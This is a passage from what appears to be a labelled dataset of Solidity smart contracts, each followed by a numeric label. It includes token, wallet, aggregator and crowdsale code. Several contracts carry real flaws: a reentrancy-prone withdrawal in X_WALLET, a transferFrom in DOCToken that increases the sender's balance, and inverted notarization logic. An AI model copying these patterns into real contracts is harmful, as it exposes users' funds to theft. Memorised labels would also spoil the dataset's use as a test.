balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 4,085 |
pragma solidity ^0.5.0;
interface IGST2 {
function freeUpTo(uint256 value) external returns (uint256 freed);
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
function balanceOf(address who) external view returns (uint256);
}
library ExternalCall {
function externalCall(address destination, uint value, bytes memory data, uint dataOffset, uint dataLength) internal returns(bool result) {
assembly {
let x := mload(0x40)
let d := add(data, 32)
result := call(
sub(gas, 34710),
destination,
value,
add(d, dataOffset),
dataLength,
x,
0
)
}
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract TokenSpender is Ownable {
using SafeERC20 for IERC20;
function claimTokens(IERC20 token, address who, address dest, uint256 amount) external onlyOwner {
token.safeTransferFrom(who, dest, amount);
}
}
contract AggregatedTokenSwap {
using SafeERC20 for IERC20;
using SafeMath for uint;
using ExternalCall for address;
address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
TokenSpender public spender;
IGST2 gasToken;
address payable owner;
uint fee;
event OneInchFeePaid(
IERC20 indexed toToken,
address indexed referrer,
uint256 fee
);
modifier onlyOwner {
require(
msg.sender == owner,
"Only owner can call this function."
);
_;
}
constructor(
address payable _owner,
IGST2 _gasToken,
uint _fee
)
public
{
spender = new TokenSpender();
owner = _owner;
gasToken = _gasToken;
fee = _fee;
}
function setFee(uint _fee) public onlyOwner {
fee = _fee;
}
function aggregate(
IERC20 fromToken,
IERC20 toToken,
uint tokensAmount,
address[] memory callAddresses,
bytes memory callDataConcat,
uint[] memory starts,
uint[] memory values,
uint mintGasPrice,
uint minTokensAmount,
address payable referrer
)
public
payable
returns (uint returnAmount)
{
returnAmount = gasleft();
uint gasTokenBalance = gasToken.balanceOf(address(this));
require(callAddresses.length + 1 == starts.length);
if (address(fromToken) != ETH_ADDRESS) {
spender.claimTokens(fromToken, msg.sender, address(this), tokensAmount);
}
for (uint i = 0; i < starts.length - 1; i++) {
if (starts[i + 1] - starts[i] > 0) {
require(
callDataConcat[starts[i] + 0] != spender.claimTokens.selector[0] ||
callDataConcat[starts[i] + 1] != spender.claimTokens.selector[1] ||
callDataConcat[starts[i] + 2] != spender.claimTokens.selector[2] ||
callDataConcat[starts[i] + 3] != spender.claimTokens.selector[3]
);
require(callAddresses[i].externalCall(values[i], callDataConcat, starts[i], starts[i + 1] - starts[i]));
}
}
if (address(toToken) == ETH_ADDRESS) {
require(address(this).balance >= minTokensAmount);
} else {
require(toToken.balanceOf(address(this)) >= minTokensAmount);
}
require(gasTokenBalance == gasToken.balanceOf(address(this)));
if (mintGasPrice > 0) {
audoRefundGas(returnAmount, mintGasPrice);
}
returnAmount = _balanceOf(toToken, address(this)) * fee / 10000;
if (referrer != address(0)) {
returnAmount /= 2;
if (!_transfer(toToken, referrer, returnAmount, true)) {
returnAmount *= 2;
emit OneInchFeePaid(toToken, address(0), returnAmount);
} else {
emit OneInchFeePaid(toToken, referrer, returnAmount / 2);
}
}
_transfer(toToken, owner, returnAmount, false);
returnAmount = _balanceOf(toToken, address(this));
_transfer(toToken, msg.sender, returnAmount, false);
}
function infiniteApproveIfNeeded(IERC20 token, address to) external {
if (
address(token) != ETH_ADDRESS &&
token.allowance(address(this), to) == 0
) {
token.safeApprove(to, uint256(-1));
}
}
function withdrawAllToken(IWETH token) external {
uint256 amount = token.balanceOf(address(this));
token.withdraw(amount);
}
function _balanceOf(IERC20 token, address who) internal view returns(uint256) {
if (address(token) == ETH_ADDRESS || token == IERC20(0)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function _transfer(IERC20 token, address payable to, uint256 amount, bool allowFail) internal returns(bool) {
if (address(token) == ETH_ADDRESS || token == IERC20(0)) {
if (allowFail) {
return to.send(amount);
} else {
to.transfer(amount);
return true;
}
} else {
token.safeTransfer(to, amount);
return true;
}
}
function audoRefundGas(
uint startGas,
uint mintGasPrice
)
private
returns (uint freed)
{
uint MINT_BASE = 32254;
uint MINT_TOKEN = 36543;
uint FREE_BASE = 14154;
uint FREE_TOKEN = 6870;
uint REIMBURSE = 24000;
uint tokensAmount = ((startGas - gasleft()) + FREE_BASE) / (2 * REIMBURSE - FREE_TOKEN);
uint maxReimburse = tokensAmount * REIMBURSE;
uint mintCost = MINT_BASE + (tokensAmount * MINT_TOKEN);
uint freeCost = FREE_BASE + (tokensAmount * FREE_TOKEN);
uint efficiency = (maxReimburse * 100 * tx.gasprice) / (mintCost * mintGasPrice + freeCost * tx.gasprice);
if (efficiency > 100) {
return refundGas(
tokensAmount
);
} else {
return 0;
}
}
function refundGas(
uint tokensAmount
)
private
returns (uint freed)
{
if (tokensAmount > 0) {
uint safeNumTokens = 0;
uint gas = gasleft();
if (gas >= 27710) {
safeNumTokens = (gas - 27710) / (1148 + 5722 + 150);
}
if (tokensAmount > safeNumTokens) {
tokensAmount = safeNumTokens;
}
uint gasTokenBalance = IERC20(address(gasToken)).balanceOf(address(this));
if (tokensAmount > 0 && gasTokenBalance >= tokensAmount) {
return gasToken.freeUpTo(tokensAmount);
} else {
return 0;
}
} else {
return 0;
}
}
function() external payable {
if (msg.value == 0 && msg.sender == owner) {
IERC20 _gasToken = IERC20(address(gasToken));
owner.transfer(address(this).balance);
_gasToken.safeTransfer(owner, _gasToken.balanceOf(address(this)));
}
}
} | 1 | 2,104 |
pragma solidity >=0.4.25 <0.5.0;
library NMRSafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Shareable {
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
uint public required;
address[256] owners;
uint constant c_maxOwners = 250;
mapping(address => uint) ownerIndex;
mapping(bytes32 => PendingState) pendings;
bytes32[] pendingsIndex;
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
address thisContract = this;
modifier onlyOwner {
if (isOwner(msg.sender))
_;
}
modifier onlyManyOwners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
function Shareable(address[] _owners, uint _required) {
owners[1] = msg.sender;
ownerIndex[msg.sender] = 1;
for (uint i = 0; i < _owners.length; ++i) {
owners[2 + i] = _owners[i];
ownerIndex[_owners[i]] = 2 + i;
}
if (required > owners.length) throw;
required = _required;
}
function changeShareable(address[] _owners, uint _required) onlyManyOwners(sha3(msg.data)) {
for (uint i = 0; i < _owners.length; ++i) {
owners[1 + i] = _owners[i];
ownerIndex[_owners[i]] = 1 + i;
}
if (required > owners.length) throw;
required = _required;
}
function revoke(bytes32 _operation) external {
uint index = ownerIndex[msg.sender];
if (index == 0) return;
uint ownerIndexBit = 2**index;
var pending = pendings[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
function getOwner(uint ownerIndex) external constant returns (address) {
return address(owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return ownerIndex[_addr] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = pendings[_operation];
uint index = ownerIndex[_owner];
if (index == 0) return false;
uint ownerIndexBit = 2**index;
return !(pending.ownersDone & ownerIndexBit == 0);
}
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
uint index = ownerIndex[msg.sender];
if (index == 0) return;
var pending = pendings[_operation];
if (pending.yetNeeded == 0) {
pending.yetNeeded = required;
pending.ownersDone = 0;
pending.index = pendingsIndex.length++;
pendingsIndex[pending.index] = _operation;
}
uint ownerIndexBit = 2**index;
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
if (pending.yetNeeded <= 1) {
delete pendingsIndex[pendings[_operation].index];
delete pendings[_operation];
return true;
}
else
{
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function clearPending() internal {
uint length = pendingsIndex.length;
for (uint i = 0; i < length; ++i)
if (pendingsIndex[i] != 0)
delete pendings[pendingsIndex[i]];
delete pendingsIndex;
}
}
contract Safe {
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function safeSubtract(uint a, uint b) internal returns (uint) {
uint c = a - b;
assert(b <= a && c <= a);
return c;
}
function safeMultiply(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || (c / a) == b);
return c;
}
function shrink128(uint a) internal returns (uint128) {
assert(a < 0x100000000000000000000000000000000);
return uint128(a);
}
modifier onlyPayloadSize(uint numWords) {
assert(msg.data.length == numWords * 32 + 4);
_;
}
function () payable { }
}
contract StoppableShareable is Shareable {
bool public stopped;
bool public stoppable = true;
modifier stopInEmergency { if (!stopped) _; }
modifier onlyInEmergency { if (stopped) _; }
function StoppableShareable(address[] _owners, uint _required) Shareable(_owners, _required) {
}
function emergencyStop() external onlyOwner {
assert(stoppable);
stopped = true;
}
function release() external onlyManyOwners(sha3(msg.data)) {
assert(stoppable);
stopped = false;
}
function disableStopping() external onlyManyOwners(sha3(msg.data)) {
stoppable = false;
}
}
contract NumeraireShared is Safe {
address public numerai = this;
uint256 public supply_cap = 21000000e18;
uint256 public weekly_disbursement = 96153846153846153846153;
uint256 public initial_disbursement;
uint256 public deploy_time;
uint256 public total_minted;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (uint => Tournament) public tournaments;
struct Tournament {
uint256 creationTime;
uint256[] roundIDs;
mapping (uint256 => Round) rounds;
}
struct Round {
uint256 creationTime;
uint256 endTime;
uint256 resolutionTime;
mapping (address => mapping (bytes32 => Stake)) stakes;
}
struct Stake {
uint128 amount;
uint128 confidence;
bool successful;
bool resolved;
}
event Mint(uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Staked(address indexed staker, bytes32 tag, uint256 totalAmountStaked, uint256 confidence, uint256 indexed tournamentID, uint256 indexed roundID);
event RoundCreated(uint256 indexed tournamentID, uint256 indexed roundID, uint256 endTime, uint256 resolutionTime);
event TournamentCreated(uint256 indexed tournamentID);
event StakeDestroyed(uint256 indexed tournamentID, uint256 indexed roundID, address indexed stakerAddress, bytes32 tag);
event StakeReleased(uint256 indexed tournamentID, uint256 indexed roundID, address indexed stakerAddress, bytes32 tag, uint256 etherReward);
function getMintable() constant returns (uint256) {
return
safeSubtract(
safeAdd(initial_disbursement,
safeMultiply(weekly_disbursement,
safeSubtract(block.timestamp, deploy_time))
/ 1 weeks),
total_minted);
}
}
contract NumeraireDelegateV3 is StoppableShareable, NumeraireShared {
address public delegateContract;
bool public contractUpgradable;
address[] public previousDelegates;
string public standard;
string public name;
string public symbol;
uint256 public decimals;
address private constant _RELAY = address(
0xB17dF4a656505570aD994D023F632D48De04eDF2
);
event DelegateChanged(address oldAddress, address newAddress);
using NMRSafeMath for uint256;
constructor(address[] _owners, uint256 _num_required) public StoppableShareable(_owners, _num_required) {
require(
address(this) == address(0x29F709e42C95C604BA76E73316d325077f8eB7b2),
"incorrect deployment address - check submitting account & nonce."
);
}
function withdraw(address _from, address _to, uint256 _value) public returns(bool ok) {
require(msg.sender == _RELAY);
require(_to != address(0));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function createRound(uint256, uint256, uint256, uint256) public returns (bool ok) {
require(msg.sender == _RELAY);
require(contractUpgradable);
contractUpgradable = false;
return true;
}
function createTournament(uint256 _newDelegate) public returns (bool ok) {
require(msg.sender == _RELAY);
require(contractUpgradable);
address newDelegate = address(_newDelegate);
previousDelegates.push(delegateContract);
emit DelegateChanged(delegateContract, newDelegate);
delegateContract = newDelegate;
return true;
}
function mint(uint256 _value) public returns (bool ok) {
_burn(msg.sender, _value);
return true;
}
function numeraiTransfer(address _to, uint256 _value) public returns (bool ok) {
_burnFrom(_to, _value);
return true;
}
function _burn(address _account, uint256 _value) internal {
require(_account != address(0));
totalSupply = totalSupply.sub(_value);
balanceOf[_account] = balanceOf[_account].sub(_value);
emit Transfer(_account, address(0), _value);
}
function _burnFrom(address _account, uint256 _value) internal {
allowance[_account][msg.sender] = allowance[_account][msg.sender].sub(_value);
_burn(_account, _value);
emit Approval(_account, msg.sender, allowance[_account][msg.sender]);
}
function releaseStake(address, bytes32, uint256, uint256, uint256, bool) public pure returns (bool) {
revert();
}
function destroyStake(address, bytes32, uint256, uint256) public pure returns (bool) {
revert();
}
function stake(uint256, bytes32, uint256, uint256, uint256) public pure returns (bool) {
revert();
}
function stakeOnBehalf(address, uint256, bytes32, uint256, uint256, uint256) public pure returns (bool) {
revert();
}
} | 0 | 1,320 |
pragma solidity ^0.4.19;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256 balance);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ERC20Token is ERC20Interface {
using SafeMath for uint256;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
uint256 internal tokenTotalSupply;
uint256 public publicReservedToken;
uint256 public tokenConversionFactor = 10**4;
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) internal allowed;
function ERC20Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply,address _publicReserved,uint256 _publicReservedPersentage,address[] boardReserved,uint256[] boardReservedPersentage) public {
tokenName = _name;
tokenSymbol = _symbol;
tokenDecimals = _decimals;
tokenTotalSupply = _totalSupply;
publicReservedToken = _totalSupply.mul(_publicReservedPersentage).div(tokenConversionFactor);
balances[_publicReserved] = publicReservedToken;
uint256 boardReservedToken = _totalSupply.sub(publicReservedToken);
Transfer(0x0, _publicReserved, publicReservedToken);
uint256 persentageSum = 0;
for(uint i=0; i<boardReserved.length; i++){
persentageSum = persentageSum.add(boardReservedPersentage[i]);
require(persentageSum <= 10000);
uint256 token = boardReservedToken.mul(boardReservedPersentage[i]).div(tokenConversionFactor);
balances[boardReserved[i]] = token;
Transfer(0x0, boardReserved[i], token);
}
}
function name() public view returns (string) {
return tokenName;
}
function symbol() public view returns (string) {
return tokenSymbol;
}
function decimals() public view returns (uint8) {
return tokenDecimals;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
uint256 fromBalance = balances[msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
balances[msg.sender] = fromBalance.sub(_value);
balances[_to] = balances[_to].add(_value);
}
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 spenderAllowance = allowed [_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = balances [_from];
if (fromBalance < _value) return false;
allowed [_from][msg.sender] = spenderAllowance.sub(_value);
if (_value > 0 && _from != _to) {
balances [_from] = fromBalance.add(_value);
balances [_to] = balances[_to].add(_value);
}
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract Owned {
address public owner;
address public proposedOwner = address(0);
event OwnershipTransferInitiated(address indexed _proposedOwner);
event OwnershipTransferCompleted(address indexed _newOwner);
event OwnershipTransferCanceled();
function Owned() public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address _address) public view returns (bool) {
return (_address == owner);
}
function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) {
require(_proposedOwner != address(0));
require(_proposedOwner != address(this));
require(_proposedOwner != owner);
proposedOwner = _proposedOwner;
OwnershipTransferInitiated(proposedOwner);
return true;
}
function cancelOwnershipTransfer() public onlyOwner returns (bool) {
if (proposedOwner == address(0)) {
return true;
}
proposedOwner = address(0);
OwnershipTransferCanceled();
return true;
}
function completeOwnershipTransfer() public returns (bool) {
require(msg.sender == proposedOwner);
owner = msg.sender;
proposedOwner = address(0);
OwnershipTransferCompleted(owner);
return true;
}
}
contract FinalizableToken is ERC20Token, Owned {
using SafeMath for uint256;
address public publicReservedAddress;
mapping(address=>uint) private boardReservedAccount;
uint256[] public BOARD_RESERVED_YEARS = [1 years,2 years,3 years,4 years,5 years,6 years,7 years,8 years,9 years,10 years];
event Burn(address indexed burner,uint256 value);
function FinalizableToken(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply,address _publicReserved,uint256 _publicReservedPersentage,address[] _boardReserved,uint256[] _boardReservedPersentage) public
ERC20Token(_name, _symbol, _decimals, _totalSupply, _publicReserved, _publicReservedPersentage, _boardReserved, _boardReservedPersentage)
Owned(){
publicReservedAddress = _publicReserved;
for(uint i=0; i<_boardReserved.length; i++){
boardReservedAccount[_boardReserved[i]] = currentTime() + BOARD_RESERVED_YEARS[i];
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(validateTransfer(msg.sender, _to));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(validateTransfer(msg.sender, _to));
return super.transferFrom(_from, _to, _value);
}
function validateTransfer(address _sender, address _to) private view returns(bool) {
require(_to != address(0));
uint256 time = boardReservedAccount[_sender];
if (time == 0) {
return true;
}else{
return currentTime() > time;
}
}
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
tokenTotalSupply = tokenTotalSupply.sub(_value);
Burn(burner, _value);
}
function currentTime() public constant returns (uint256) {
return now;
}
}
contract DOCTokenConfig {
string public constant TOKEN_SYMBOL = "DOC";
string public constant TOKEN_NAME = "DOMUSCOINS Token";
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant TOKEN_TOTALSUPPLY = 1000000000 * DECIMALSFACTOR;
address public constant PUBLIC_RESERVED = 0xcd6b3d0c0dd850bad071cd20e428940d2e25120f;
uint256 public constant PUBLIC_RESERVED_PERSENTAGE = 9000;
address[] public BOARD_RESERVED = [ 0x91cdb4c96d43591432fba178b672800b30266d63,
0x5a4dd8f6fc098869fa306c4143b281f214384de4,
0x2e067592283a463f9b425165c3bde40bc6cf8309,
0x49cbdc6c74b57eeccd6487999c2170a723193851,
0xd6c723a5fbe81e9744ac1a72767ba0744f67e713,
0x81409970ed8b78769eb58d62c0bf0371dad772e1,
0x13505e4fe6bdc6813b5e6fb63c44ac9ed4ac44ac,
0x87da1a7e6d460cad057740ef56f0c223dc572ebb,
0x05cb91a12b8da165f19cd4f81002566b0383cef7,
0xaf68b2dc937301d84d6d350d9beec880448dbac0
];
uint256[] public BOARD_RESERVED_PERSENTAGE = [200,200,200,500,500,1000,1000,2000,2000,2400];
}
contract DOCToken is FinalizableToken, DOCTokenConfig {
using SafeMath for uint256;
event TokensReclaimed(uint256 _amount);
function DOCToken() public
FinalizableToken(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, TOKEN_TOTALSUPPLY, PUBLIC_RESERVED, PUBLIC_RESERVED_PERSENTAGE, BOARD_RESERVED, BOARD_RESERVED_PERSENTAGE)
{
}
function reclaimTokens() public onlyOwner returns (bool) {
address account = address(this);
uint256 amount = balanceOf(account);
if (amount == 0) {
return false;
}
balances[account] = balances[account].sub(amount);
balances[owner] = balances[owner].add(amount);
Transfer(account, owner, amount);
TokensReclaimed(amount);
return true;
}
} | 1 | 3,127 |
pragma solidity ^0.4.25;
contract X_WALLET
{
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
LogFile.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
Log LogFile;
uint public MinSum = 1 ether;
function X_WALLET(address log) public{
LogFile = Log(log);
}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 0 | 507 |
contract ProofOfExistence {
mapping (string => uint) private proofs;
function notarize(string sha256) {
bytes memory b_hash = bytes(sha256);
if ( b_hash.length == 64 ){
if ( proofs[sha256] != 0 ){
proofs[sha256] = block.timestamp;
}
}
}
function verify(string sha256) constant returns (uint) {
return proofs[sha256];
}
} | 0 | 7 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
